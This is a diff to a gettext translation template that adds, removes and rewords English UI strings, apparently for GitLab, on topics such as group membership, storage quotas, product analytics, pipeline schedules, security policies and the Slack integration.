@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
